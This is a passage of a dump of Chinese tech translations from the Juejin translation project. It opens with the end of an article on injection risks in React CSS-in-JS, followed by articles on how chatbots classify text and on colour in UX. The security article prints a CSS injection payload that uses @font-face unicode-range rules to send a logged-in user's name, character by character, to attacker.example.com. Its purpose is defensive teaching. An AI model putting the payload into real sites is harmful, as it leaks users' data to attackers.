[概念验证](https://codesandbox.io/s/llnzkwk0mz)。\n\n### 提取数据的 avatar\n\n假设你的老板想要你的应用程序中的每个用户的名字旁有 avatar。但你的老板有点吝啬，不想为 avatar 支付带宽费用。所以他希望你提供连接到外部 URL 的方案。或者其他方案。\n\n当然，你的 `Identity` 组件是 glamorous 构建的样式组件。它接受整个用户对象作为 prop，该对象包含名字，twitter，以及其他一些东西。后端开发人员为对象添加 `avatarURL`，然后设计师使用 `background-image` 标签标记图像。\n\n而现在，任何人浏览 avatar 都会从页面上具体元素获得数据。以下就是 avatarURL 做的：\n\n这看起来像是过去流行的老式 SQL 注入，但是使用了CSS。我们真的生活在未来啊。\n\n```\nconst avatarURL = `blue;}\n\n@font-face{\n  font-family:poc;\n  src: url(https://attacker.example.com/?D);\n  unicode-range:U+0044;\n}\n@font-face{\n  font-family:poc;\n  src: url(https://attacker.example.com/?R);\n  unicode-range:U+0052;\n}\n@font-face{\n  font-family:poc;\n  src: url(https://attacker.example.com/?O);\n  unicode-range:U+004F;\n}\n@font-face{\n  font-family:poc;\n  src: url(https://attacker.example.com/?P);\n  unicode-range:U+0050;\n}\n\n.logged-in {\n  font-family: poc;\n}\n\n.something{color: red\n`\n```\n\n你可以在 [基于CSS的攻击：滥用 @font-face 的 unicode-range](http://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) 阅读更多类似的攻击。\n\n链接文章的作者向 chrome 团队[报告](https://code.google.com/p/chromium/issues/detail?id=543078)了一个错误，但它已被标记为 WontFix 。\n\n通过在自定义字体中为每个字符添加不同的 URL，然后将该字体应用于你想要提取的文本。你可以获取字符列表，而如果在用户输入时应用它，则可以保证你得到正确顺序的输入以及时间信息。你也可以结合其他的东西，如 `::first-letter` 或 `::selection` 选择器以获得更详细的信息。\n\nChrome 开发者工具的网络选项卡显示当前用户名称的提取方式：\n\n![](https://reactarmory.com/42f2eed3d995577d1558878de3e09d91.png)\n\n这是在 codesandbox 上利用 glamorous 进行的[概念验证](https://codesandbox.io/s/m541x36wpj)\n\n### 执行任意 JavaScript 脚本\n\nReact 支持 IE9，并在 [不久的将来停止支持 IE8](https://facebook.github.io/react/blog/2016/01/12/discontinuing-ie8-support.html)。\n\n如果你可以把 JavaScript 的文本文件放在同一个域内，IE9 和更早版本的 IE 都会允许你在样式表中执行任意的 JavaScript 脚本 。\n\n如果你有用户使用 IE9，有恶意用户试图以某种方式上传文件，并通过未转义的 prop 将关联的 `behavior` 属性注入到样式表中，然后 **恶意用户可以窃取 IE9 用户的帐户**。\n\n我不打算进行相关展示，但请明白，这种类型的攻击之前已经广泛地发生过了。你可以在 [在 CSS 内部执行 JavaScript 脚本](http://www.diaryofaninja.com/blog/2013/10/30/executing-javascript-inside-css-another-reason-to-whitelist-and-encode-user-input) 一文中了解相关的详细信息。\n\n## 实际考虑\n\n只要你遵循黄金法则，这些代码就不会成为问题。\n\n### 不要将用户的输入插入到样式表中。\n\n当然，即使你无法将用户输入插入到样式中，你仍然可以将其用于无样式的 props 或将静态变量插入到样式中。\n\n但是这引出了另一个问题：你如何知道样式组件上的哪些 props 可以安全地接受用户输入？\n\n### 关注点分离\n\nReact 的一个重要特性是它允许你创建组件，便于 [关注点分离](https://reactarmory.com/answers/how-should-i-separate-components)。子组件不需要知道他们的 props 来自哪里。父组件不需要知道他们的孩子如何实现。组件是相互独立的，这样提高了它们的可维护性和可复用性。\n\nUnsanitized props 打破了这一独立性\n\n例如，考虑一个接受两个 props 的组件：一个是插入到样式表中的 unsanitized `theme`  prop，另外一个是 `content` prop：\n\n```\n// `theme` 可以接受用户输入吗？`content` 可以接受用户输入吗？\nfunction MyComponent({ theme, content }) {\n  return (\n    <MyStyledComponent theme={theme}>\n      {content}\n    </MyStyledComponent>\n  )\n}\n```\n\n我们不能很快地根据组件的名字判断 `theme` 或 `content` 在样式表中使用时是否被处理过。事实上，即使看具体的实现我们也不能知道 `theme`是如何被使用的。\n\n为了确保你的组件具有可复用性和可维护性，请使用一种在 props 不安全时清晰易懂的命名方案。例如：\n\n```\n// `unsanitizedTheme` 不能接受用户输入\n// `content` 可以接受用户的输入\nfunction MyComponent({ unsanitizedTheme, content }) {\n  return (\n    <MyStyledComponent unsanitizedTheme={unsanitizedTheme}>\n      {content}\n    </MyStyledComponent>\n}\n```\n\n### 别相信任何人\n\n知道第三方库中的 prop 是否安全的唯一方法是研究并检查源代码。\n\n例如，考虑第三方工具提示组件：\n\n```\n<Tooltip\n  position=\"left\"\n  content={itemName}\n/>\n```\n\n虽然你可以假定将用户输入传递给 `content` prop 是安全的，但在你检查源码之前你无法真正地知道其安全性。\n\n你可能会觉得这是一个很勉强的例子，但实际上这是一个基于 styled-components 的流行 UI 工具包中 [报告](https://github.com/jxnblk/rebass/issues/318) 的安全问题。\n\n你可以在 codesandbox 上查看这个问题的概念验证。\n\n实际上，即使你使用的 UI 工具包目前是安全的，你也不能保证在执行 `npm upgrade` 后它仍然安全。\n\n所以除非你建立的是一个不需要用户输入的静态网站，否则你应该完全避免在内部使用 CSS-in-JS 的第三方 UI 库。这是确保网站安全的唯一方法。\n\n### 但我需要基于用户输入添加样式...\n\n基于用户输入添加样式的最安全的方法是使用旧的普通内联样式，即 style prop。你放在 `style` 对象中的任何东西都是安全的。\n\n但是，如果内联样式不够，你需要使用 [CSS.escape](https://drafts.csswg.org/cssom/#the-css.escape%28%29-method) 手动转义用户的每一次输入。这个是一个相对新的标准，所以你需要使用 [polyfill](https://drafts.csswg.org/cssom/#the-css.escape%28%29-method)。\n\n请记住，一个 unescaped prop 会给你带来麻烦。因此，如果你要插入任何包含用户输入的 props，唯一安全的方法就是在你的应用程序上转义所有的 prop。\n\n## 但这是一个后端的问题？\n\n我听到过的一个借口是所有这些问题都是后端开发人员的错误; 他们应该在存储数据之前处理数据。当然，我是从一个前端开发人员那里听到的借口。\n\n**安全问题关乎每个人**。虽然我们大多数人都尽力做正确的事情，对输入进行了恰当的处理，但我们都是人，是人就会犯错误。这就是为什么假设后端始终会提供干净的数据是不负责任的，同样假设前端能做到这样的事情也是不负责任的。\n\n## 但插入 JSX 可以吗？ \n\n可以。因为 **JSX 默认情况下不信任插入的字符串**。如果你使用 `dangerouslySetInnerHTML` prop，它只会让你在插入 HTML 时不安全 ，并传递 `{ __html: 'your_string' }` 格式的对象。\n\n没有人想要将未经过滤的用户输入插入到 HTML。但是人会犯错误，这就是为什么 React 要求你明确地告知它直接插入的字符串是安全的。\n\n目前，CSS-in-JS 不提供任何自动处理机制（但这里有 [讨论](https://github.com/styled-components/styled-components/issues/1105#issuecomment-325273993)）。所以在它提供之前，请确保将任何插入的 props 命名为 `unsanitizedSomething`。\n\n如果能完全避免使用插入的 props 是最好不过了。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-chat-bots-work.md",
    "content": "\n> * 原文地址：[Soul of the Machine: How Chatbots Work](https://medium.com/@gk_/how-chat-bots-work-dfff656a35e2)\n> * 原文作者：[George Kassabgi](https://medium.com/@gk_)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-chat-bots-work.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-chat-bots-work.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[lileizhenshuai](https://github.com/lileizhenshuai),[jasonxia23](https://github.com/jasonxia23)\n\n# 机器之魂：聊天机器人是怎么工作的\n\n  ![](https://cdn-images-1.medium.com/max/2000/1*HRgcOpW8vSPqM-GxkoHhWw.jpeg)\n\n自早期的工业时代以来，人类就被能自主操作的设备迷住了。因为，它们代表了科技的“人化”。\n\n而在今天，各种软件也在逐渐变得人性化。其中变化最明显的当属“聊天机器人”。\n\n但是这些“机械”是如何运作的呢？首先，让我们回溯过去，探寻一种原始，但相似的技术。\n\n### 音乐盒是如何工作的\n\n![](https://cdn-images-1.medium.com/max/1600/1*PveiqDdv2Zsog9ryJTUz-Q.png)\n\n早期自动化的样例 —— 机械音乐盒。\n一组经过调音的金属齿排列成梳状结构，置于一个有针的圆柱边上。每根针都以一个特定的时间对应着一个音符。\n\n当机械转动时，它便会在预定好的时间通过单个或者多个针的拨动来产生乐曲。如果要播放不同的歌，你得换不同的圆柱桶（假设不同的乐曲对应的特定音符是一样的）。\n\n除了发出音符之外，圆筒的转动还可以附加一些其它的动作，例如移动小雕像等。不管怎样，这个音乐盒的基本机械结构是不会变的。\n\n### 聊天机器人是如何工作的\n\n输入的文本将经过一种名为“分类器”的函数处理，这种分类器会将一个输入的句子和一种“意图”（聊天的目的）联系起来，然后针对这种“意图”产生回应。\n\n![](https://cdn-images-1.medium.com/max/1600/1*aSGRi9NOM3J5vT2fMlo5ig.png)\n\n[一个聊天机器人的例子](http://lauragelston.ghost.io/speakeasy/)\n\n你可以将分类器看成是将一段数据（一句话）分入几个分类中的一种（即某种意图）的一种方式。输入一句话“how are you?”，将被分类成一种意图，然后将其与一种回应（例如“I’m good”或者更好的“I am well”）联系起来。\n\n我们在基础科学中早学习了分类：黑猩猩属于“哺乳动物”类，蓝鸟属于“鸟”类，地球属于“行星”等等。\n\n一般来说，文本分类有 3 种不同的方法。可以将它们看做是为了一些特定目的制造的软件机械，就如同音乐盒的圆筒一样。\n\n### **聊天机器人的文本分类方法**\n\n- **模式匹配**\n- **算法**\n- **神经网络**\n\n无论你使用哪种分类器，最终的结果一定是给出一个回应。音乐盒可以利用一些机械机构的联系来完成一些额外的“动作”，聊天机器人也如此。回应中可以使用一些额外的信息（例如天气、体育比赛比分、网络搜索等等），但是这些信息并不是聊天机器人的组成部分，它们仅仅是一些额外的代码。也可以根据句子中的某些特定“词性”来产生回应（例如某个专有名词）。此外，符合意图的回应也可以使用逻辑条件来判断对话的“状态”，以提供一些不同的回应，这也可以通过随机选择实现（好让对话更加“自然”）。\n\n### 模式匹配\n\n早期的聊天机器人通过模式匹配来进行文本分类以及产生回应。这种方法常常被称为“暴力法”，因为系统的作者需要为某个回应详细描述所有模式。\n\n这些模式的标准结构是“AIML”（人工智能标记语言）。这个名词里用了“人工智能”作为修饰词，但是[它们完全不是一码事](https://medium.com/@gk_/the-ai-label-is-bullshit-559b171867ff)。\n\n下面是一个简单的模式匹配定义：\n\n```\n<aiml version = \"1.0.1\" encoding = \"UTF-8\"?>\n   <category>\n      <pattern> WHO IS ALBERT EINSTEIN </pattern>\n      <template>Albert Einstein was a German physicist.</template>\n   </category>\n\n   <category>\n      <pattern> WHO IS Isaac NEWTON </pattern>\n      <template>Isaac Newton was a English physicist and mathematician.</template>\n   </category>\n\n   <category>\n      <pattern>DO YOU KNOW WHO * IS</pattern>\n      <template>\n         <srai>WHO IS <star/></srai>\n      </template>\n   </category>\n</aiml>\n```\n\n然后机器经过处理会回答：\n\n\tHuman: Do you know who Albert Einstein is\n\tRobot: Albert Einstein was a German physicist.\n\n它之所以知道别人问的是哪个物理学家，只是靠着与他或者她名字相关联的模式匹配。同样的，它靠着创作者预设的模式可以对任何意图进行回应。在给予它成千上万种模式之后，你终将能看到一个“类人”的聊天机器人出现。\n\n2000 年的时候，John Denning 和他的同事就以这种方法做了个聊天机器人（[相关新闻](http://mashable.com/2014/06/12/eugene-goostman-turing-test/)），并通过了“图灵测试”。它设计的目标是模仿来自乌克兰的一个 13 岁的男孩，这孩子的英语水平很蹩脚。我在 2015 年的时候和 John 见过面，他没有矢口否认这个自动机的内部原理。因此，这个聊天机器人很可能就是用“暴力”的方法进行模式匹配。但它也证明了一点：在足够大的模式匹配定义的支持下，可以让大部分对话都贴近“自然”的程度。同时也符合了图灵（Alan Turing）的断言：制作用来糊弄人类的机器是“毫无意义”的。\n\n使用这种方法做机器人的典型案例还有 [PandoraBots](http://www.pandorabots.com/)，他们宣称已经用他们的框架构建了超过 28.5 万个聊天机器人。\n\n### 算法\n\n暴力穷举法做自动机让人望而却步：对于每个输入都得有可用的模式来匹配其回应。人们由“老鼠洞”得到灵感，创建了模式的层级结构。\n\n我们可以使用**算法**这种方法来减少分类器以便对机器进行管理，或者也可以说我们为它创建一个方程。这种方法是计算机科学家们称为“简化”的方法：问题需要**缩减**，那么解决问题的方法就是将其简化。\n\n有一种叫做“朴素贝叶斯多项式模型”的经典文本分类算法，你可以在[这儿](http://nlp.stanford.edu/IR-book/pdf/13bayes.pdf)或者别的地方学习它。下面是它的公式：\n\n![](https://cdn-images-1.medium.com/max/1600/1*sj0TmP9mH6GEE9z3XAJYYA.png)\n\n实际用起它来比看上去要简单的多。给定一组句子，每个句子对应一个分类；接着输入一个新的句子，我们可以通过计算这个句子的单词在各个分类中的词频，找出各个分类的共性，并给每个分类一个**分值**（找出共性这点是很重要的：例如匹配到单词“cheese”（奶酪）比匹配到单词“it”要有意义的多）。最后，得到最高分值的分类很可能就是输入句子的同类。当然以上的说法是经过简化的，例如你还得先找到每个单词的[词干](https://en.wikipedia.org/wiki/Stemming)才行。不过，现在你应该对这种算法已经有了基本的概念。\n\n下面是一个简单的训练集：\n\n\tclass: weather\n\t    \"is it nice outside?\"\n\t    \"how is it outside?\"\n\t    \"is the weather nice?\"\n\t\n\tclass: greeting\n\t    \"how are you?\"\n\t    \"hello there\"\n\t    \"how is it going?\"\n\n让我们来对几个简单的输入句子进行分类：\n\n\tinput: \"Hi there\"\n\t term: \"hi\" (**no matches)**\n\t term: \"there\" **(class: greeting)**\n\t classification: **greeting **(score=1)\n\t\n\tinput: \"What’s it like outside?\"\n\t term: \"it\" **(class: weather (2), greeting)**\n\t term: \"outside **(class: weather (2) )**\n\t classification: **weather **(score=4)\n\n请注意，“What’s it like outside”在分类时找到了另一个分类的单词，但是正确的分类给了单词较高的分值。通过算法公式，我们可以为句子计算匹配每个分类对应的词频，因此不需要去标明所有的模式。\n\n这种分类器通过标定分类分值（计算词频）的方法给出最匹配语句的分类，但是它仍然有局限性。分值与概率不同，它仅仅能告诉我们句子的意图最有可能是哪个分类，而不能告诉我们它的所有匹配分类的可能性。因此，很难去给出一个阈值来判定是接受这个得分结果还是不接受这个结果。这种类型的算法给出的最高分仅仅能作为判断相关性的基础，它本质上作为分类器的效果还是比较差的。此外，这个算法不能接受 *is not* 类型的句子，因为它仅仅计算了 *it* 可能是什么。也就是说这种方法不适合做为包含 *not* 的否定句的分类。\n\n有许多的聊天机器人框架[都是用这种方法来判断意图分类](https://medium.com/@gk_/text-classification-using-algorithms-e4d50dcba45#.ewnhttxa4)。而且大多数都是针对训练集进行词频计算，这种“幼稚”的方法有时还意外的有效。\n\n\n### 神经网络\n\n人工神经网络发明于 20 世纪 40 年代，它通过迭代计算训练数据得到连接的加权值（“突触”），然后用于对输入数据进行分类。通过一次次使用训练数据计算改变加权值以使得神经网络的输出得到更高的“准确率”（低错误率）。\n\n![](https://cdn-images-1.medium.com/max/1600/1*HULATc7wX7CtzybTIxgBvQ.png)\n\n上图为一种神经网络结构，其中包括神经元（圆）和突触（线）\n\n其实除了当今的软件可以用更快的处理器、更大的内存外，这些结构并没有出现什么新奇的东西。当做数十万次的矩阵乘法（神经网络中的基本数学运算）的时候，运行内存和计算速度成为了关键问题。\n\n在前面的方法里，每个分类都会给定一些例句。接着，根据词干进行分句，将所有单词作为神经网络的输入。然后遍历数据，进行成千上万次迭代计算，每次迭代都通过改变突触权重来得到更高的准确率。接着反过来通过对训练集输出值和神经网络计算结果的对比，对各层重新进行计算权重（反向传播）。这个“权重”可以类比成神经突触想记住某个东西的“力度”，你能记住某个东西是因为你曾多次见过它，在每次见到它的时候这个“权重”都会轻微地上升。\n\n有时，在权重调整到某个程度后反而会使得结果逐渐变差，这种情况称为“过拟合”，在出现过拟合的情况下继续进行训练，反而会适得其反。\n\n![](https://cdn-images-1.medium.com/max/1600/1*QckgibgJ74BhMaqinqwSDw.png)\n\n训练好的神经网络模型的代码量其实很小，不过它需要一个很大的潜在权重矩阵。举个相对较小的样例，它的训练句子包括了 150 个单词、30 种分类，这可能产生一个 150x30 大小的矩阵；你可以想象一下，为了降低错误率，这么大的一个矩阵需要反复的进行 10 万次矩阵乘法。这也是为什么说需要高性能处理器的原因。\n\n神经网络之所以能够做到既复杂又稀疏，归结于[矩阵乘法](https://www.khanacademy.org/math/precalculus/precalc-matrices/multiplying-matrices-by-matrices/v/matrix-multiplication-intro)和一种[缩小值至 -1，1 区间的公式](https://en.wikipedia.org/wiki/Sigmoid_function)（即激活函数，这里指的是 Sigmoid），一个中学生也能在几小时内学会它。其实真正困难的工作是清洗训练数据。\n\n就像前面的模式匹配和算法匹配一样，神经网络也有各种各样的变体，有一些变体会十分复杂。不过它的基本原理是相同的，做的主要工作也都是进行分类。\n\n![](https://cdn-images-1.medium.com/max/1600/1*_ldEr2WurmqNq6Pgp5J24w.jpeg)\n\n机械音乐盒并不了解乐理，同样的，**聊天机器人并不了解语言**。\n\n聊天机器人实质上就是寻找短语集合中的模式，每个短语还能再分割成单个单词。在聊天机器人内部，除了它们存在的模式以及训练数据之外的**单词其实并没有意义**。为这样的“机器人”贴上“人工智能”的标签其实[也很糟糕](https://medium.com/@gk_/the-ai-label-is-bullshit-559b171867ff#.3tlhftemt)。\n\n总结：聊天机器人就像机械音乐盒一样：它就是**一个根据模式来进行输出的机器**，只不过它不用圆筒和针，而是使用软件代码和数学原理。\n\n\n  ---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF)、[后端](https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF)、[产品](https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81)、[设计](https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n \n"
  },
  {
    "path": "TODO/how-color-affects-ux-and-behavior.md",
    "content": "\n> * 原文地址：[ How Color Affects UX And Behavior](https://blog.prototypr.io/how-color-affects-ux-and-behavior-c242c895a8a4#.1p7zujou5)\n* 原文作者：[Proto.io](https://blog.prototypr.io/@protoio?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)\n* 校对者：[王子建](https://github.com/Romeo0906), [Tina92](https://github.com/Tina92)\n\n# 色彩如何影响 UX 和用户行为\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*u_ZVr6pxj9EBOKU5vACz6w.jpeg\">\n\n色彩：设计得当时你可能从未关注过它 - 但是设计不得当时呢？无论是过亮且灼眼的背景，或者暗灰色背景下的黑色文字，还是以次充好的色彩选择都足以毁掉一款功能强大的 app。如同设计的其他方面，色彩不仅仅是为 app 锦上添花。色彩与用户体验的其他方面一样，也可以是一种工具。\n\n用于设计 app 的图形 [设计哲学](http://blog.proto.io/10-of-the-best-design-philosophies-of-all-time/) - 从元素尺寸，滑动方式，当然也包括色彩 - 都在影响着用户的行为。因此，设计师通常在项目前期用几个月的时间搭配色彩而不是设计布局。\n\n选择颜色搭配的区别就在于，完美的色彩搭配能设计出一个能让用户感到放松并沉浸于此的 app，糟糕的色彩搭配会让用户有拿手机砸墙的冲动。以银行业务的 app 来看，糟糕的颜色搭配会让你每次查余额时都非常紧张，而完美的色彩搭配能够缓解你的焦虑，比如马上要清付下一次账单了。\n\n那怎么才能设计得当 - 即如何在你的设计里掌握色彩呢？\n\n### 图形设计哲学：色彩理论\n\n在深入图形设计哲学（和心理学！）之前，需要了解一些色彩和设计的基本原则。虽然色彩看起来不是一门非常复杂的学问，但我们仍然有理由让每堂艺术课不光教授如何使用色彩，还要教授如何 **创造** 色彩。\n\n基本原则 - 拿色盘来说 -很简单：原色（红，黄，蓝）可以结合调出二级颜色（绿，紫，橙）。同样地，不同分量的白色加到颜色里，能调出浅色，不同分量的黑色能调出深色。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*TnakpAz6-VKGNWF5.jpg\">\n\n实现图形设计哲学的时候，色盘将会是一个不可或缺的重要工具。\n\n对角线上的两个颜色（如红色和绿色，蓝色和橘色）是互补色。这些颜色反差强烈，放在其互补色颜色旁边（或之上）时十分突出。相邻的两个颜色是类似色。这些颜色对比度低，放在一起并不突出。\n\n颜色对比度的高低没有绝对的 ”正确“ 和 ”错误“。有时一个应用需要强对比的亮色组合。有时，又需要温和一些。一般来说，越想要突出的东西，越需要强对比度。\n\n感受色彩组合是否搭配的最好方法就是亲身体验。即便你手头没有项目，快速旋转 [Adobe 色盘](https://color.adobe.com/) 也许会让你对色彩有新的认识。\n\n### 情感色板：色彩心理学\n\n巩固 app 的图形设计哲学史，你不应只考虑外观 - 你必须要思考它们给你的感受。我们说的不是触觉反馈。自从 Johann Wolfgang Goethe 研究 [色彩对生理学影响](http://www.arttherapyblog.com/online/color-therapy-healing-an-introduction/) 以来，我们着迷于用颜色产生生理和情感效果。\n\n甚至今天，色彩在许多品牌的设计哲学中都占有主导地位。医疗，商业，和政府都倾向于使用蓝色，因为蓝色给人一种值得信任和专业的感觉。绿色看起来更年轻富有活力 - 当然，还反映了环境主义和亲近自然的感觉。红色是精力充沛和冲动的象征，给人速度，效率和力量的印象。我们看到的每个颜色（当然每个颜色本身都会与特定品牌相联系）都暗示了一些东西，直接或间接地，影响着我们对于独立品牌的看法。\n\n你能认出的品牌和标识都是以颜色为中心的。Apple、Wikipedia、 New York Times，在这些品牌里灰色是主色，灰色象征着沉着可靠。这些品牌被视为和谐可靠的。全部食品品牌，John Deere，和 Starbucks 的标识均以暗绿色为主色，把自然、有益身心健康和他们的品牌产品联系起来。\n\n许多颜色甚至超越了品牌自身，定义了整个行业。例如，想一下有多少快餐或连锁餐厅品牌色是红色或黄色的。这些颜色触发精神开关，让我们从心理上自愿购买一些商品。\n\n当经销商很久以前就摸透个中道理时，科学也证明了我们关于颜色的一些共同感受。比如，红色能够让人 [反应更快速]((http://theweek.com/articles/484145/4-surprising-facts-about-color-red)) 或者对特定的刺激产生强烈的反应。红色也可能会变得危险：研究者发现考试者看到红色的时候，[正确率会降低](https://www.sciencedaily.com/releases/2007/02/070228170240.htm)。\n\n更不可思议的是，药片的颜色对药效也有轻微的影响。蓝色药片最合适做镇静剂，黄色最适合做抗抑郁的药，在所有案例中，[亮色的药片药效最好](http://www.theatlantic.com/health/archive/2014/10/the-power-of-drug-color/381156/)。虽然这更像是安慰剂，影响我们增大了对药力的反应，但这影响已足以使制药厂在生产新药时把颜色作为考虑条件之一。\n\n现在，并不是说在记录心情的 app 中使用黄色基调就能有效地消除抑郁，而是你选择的色彩搭配有理由认为能够影响用户心情 - 所以请谨慎选择。\n\n### 色彩与用法\n\n设计不仅是为了好看 - 还有功能和实用性，这两条原则对任何 UX 设计师来说都可以说是最重要的。如果 UX 不流畅，你选择的色彩搭配再怎么完美，UI 再怎么酷炫都没用。如果用户不能高效地使用，当然也不会想留下来。\n\n那么色彩在其中又能起到什么作用呢？\n\n简单来说：色彩是能帮助引导视线的工具。如果颜色使用得当，能够引导新用户快速学会使用你的 app，不需要长时间的新手教程，一系列复杂的视频，甚至不需要一个字。一个使用简便的 UI 不只能引导用户注意 - 还能引导用户全身心互动。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*Fa2CXw1Dv8iqJfHH.jpg\">\n\n一幅彩铅围成圈的黑白照片，只有笔尖部分有颜色。\n\n试想一下，你正在为一家餐饮公司开发一款 app，提供方便大型机构订餐的服务。一个潜在客户第一次下载了你的应用并打开它。他们会看到什么？\n\n在这个 app 里，大多数菜单项 - 包括背景和其他信息栏 - 都用柔和暗淡的灰色调配色填色。唯一例外的是一个橘红色的写着 “点单” 的方框。作为设计师，你知道大多数使用这款 app 的用户都希望轻松地设置食物订单。你要把这个标志放到显眼的位置，而不是把这个特点隐藏到 app 深处，或者需要用户滚动到页面底部才能看到。不只是这样，你还需要让用户立即注意到这个按钮。颜色能帮助实现这些目的，还能给新用户准确的引导，知道需要到哪里去。\n\n同样地，我们每天都在生活的方方面面中都在和颜色打交道，在心里构建社会联系。例如，红绿灯：绿灯行，红灯停，黄灯慢行（或者提醒我们前面有情况）。黄色代表重要警告，红色代表强调，你能够有力地传达信息并提醒用户为他们的输入做好准备。\n\n另外，该逻辑不光可以用于警告界面。 改变 app 内购买按钮的颜色显然会显著影响 [转化率](http://blog.hubspot.com/blog/tabid/6307/bid/20566/The-Button-Color-A-B-Test-Red-Beats-Green.aspx)。HubSpot 发现把绿色按钮变成红色按钮后，转化率轻松上升了 21%。此时，虽然不意味着要把每个 app 内购买按钮调成亮色，但却表明了颜色不仅是设计哲学的一部分：应该是整个 app 开发哲学的核心。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*4ILP-Npp6mB8hIQf.jpg\">\n\n我们甚至在强调色的选择上尝试挖掘软色调。色彩和阴影是优化图形设计哲学的最好的方式。\n\n### 聪明地使用颜色：设计与可访问性哲学\n\n在 Proto.io，[可访问性](http://blog.proto.io/the-beginners-guide-to-accessible-mobile-ui-design/) 一直在我们设计哲学的重点。可访问性是好设计必过的一关。如果可访问性不通过，那么就不是一个好设计。\n\n大约 8% 的男人和 0.5% 的女人有不同形式的 [色盲](http://www.colourblindawareness.org/)。与常见观点不同的是，没有单色色盲，红绿色盲是最常见的。红绿色盲患者通常分辨不清红色和绿色。红绿色盲程度不同，甚至轻微的红绿色盲在使用一些 app 的时候都有明显的障碍。\n\n除了色盲，近视眼用户有时无法阅读低对比度的文字，除非把屏幕靠近一些 - 这潜在地破坏了一些 app 的可用性。\n\n所有这些问题的解法相当简单：展示文字时避免使用低对比度的背景颜色。当你不能保证每个人都能按照你设计的方式浏览 app 时，如果你使用对比色，至少应用是可用的。类似的，强对比色的文字对任何人来说都便于阅读 - 甚至在有视觉障碍时。\n\n另一个提高可访问性的可选项是在 app 中提供可改变的主题色。虽然不是每个人都会用的，但是这能很好的提升 app 的可用性。你也可以允许用户改变特定功能的颜色。例如，你可以有个开关改变 app 的部分颜色，或者整个 app 的文字颜色。把这些颜色的控制权交给用户，你的 app 会对更多用户来说都具有良好的可用性。\n\n如果你仍然不清楚如何在可访问性与设计哲学的色彩之间寻找一个平衡，建议你看看 Google 的 [material design library](https://material.google.com/usability/accessibility.html#accessibility-color-contrast)。\n\n### 选择完美的色盘：固化你的设计哲学\n\n即使确实有一些颜色选择时必须要遵守的规则，它也不是必要的。色彩通常是抽象的东西，像一种感觉。即使你的 app 不是为了在用户身上表明情绪，也不代表它不会。当发现黑白色并不是完美色盘的时候，我们建议使用不同深度的灰色。\n\n用灰色渐变色构建 app 的平面原型并且作为基本准则。记住它的展示和给你的感受：传达给 QA 团队，关注他们的说法。你的新手培训是否灰暗无色？你是否错误关注到了应用的其他部分？带着这些反馈，再设计更多的原型，这次加上颜色。别依赖单色色盘。并且，从 Google 的 [material design](https://material.google.com/style/color.html) 网站获得提示，考虑它提供的色盘。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/0*ceW-J0USVj3tW0MF.jpg\">\n\n这个人的图形设计哲学是添加一个醒目的红色元素。\n\n把修订版本也发送给 QA。不要担心对两个版本进行 A/B 测试（然后推翻原始灰度版本）。确保在讨论阶段提出了关于色彩值得探讨的问题。你是否在 app 中使用颜色引导用户注意？你是否为了添加闪光就向屏幕随便扔了个颜色？色彩是否分散了用户的注意力？\n\n别忘了用户哲学和可访问性。如果你在开发一款旅游应用，你真的希望所有内容都是亮红色的吗？如果你在开发一款健康应用，你的背景色必须是绿色吗？文字的色彩对比是否足够了？\n\n好的 UX 设计会把这些问题一并考虑在内 - 毕竟，色彩对用户行为和使用舒适度都有绝对影响。如果你的设计哲学还没把这些问题考虑在内，设计出来的 app 并没有你认为的好用和无障碍。确保按步骤设计你的原型，别拘泥于一个或两个颜色。通过实验选择其他颜色，并重复实验，直到完善你的色盘。\n\n**Proto.io 使得构建手机应用原型变得真实。无需编程或者设计技巧基础。得以快速实现想法!** 今天 [注册 Proto.io 获得 15 天试用](http://proto.io/) 并开始你的下一个手机应用设计。\n"
  },
  {
    "path": "TODO/how-do-promises-work.md",
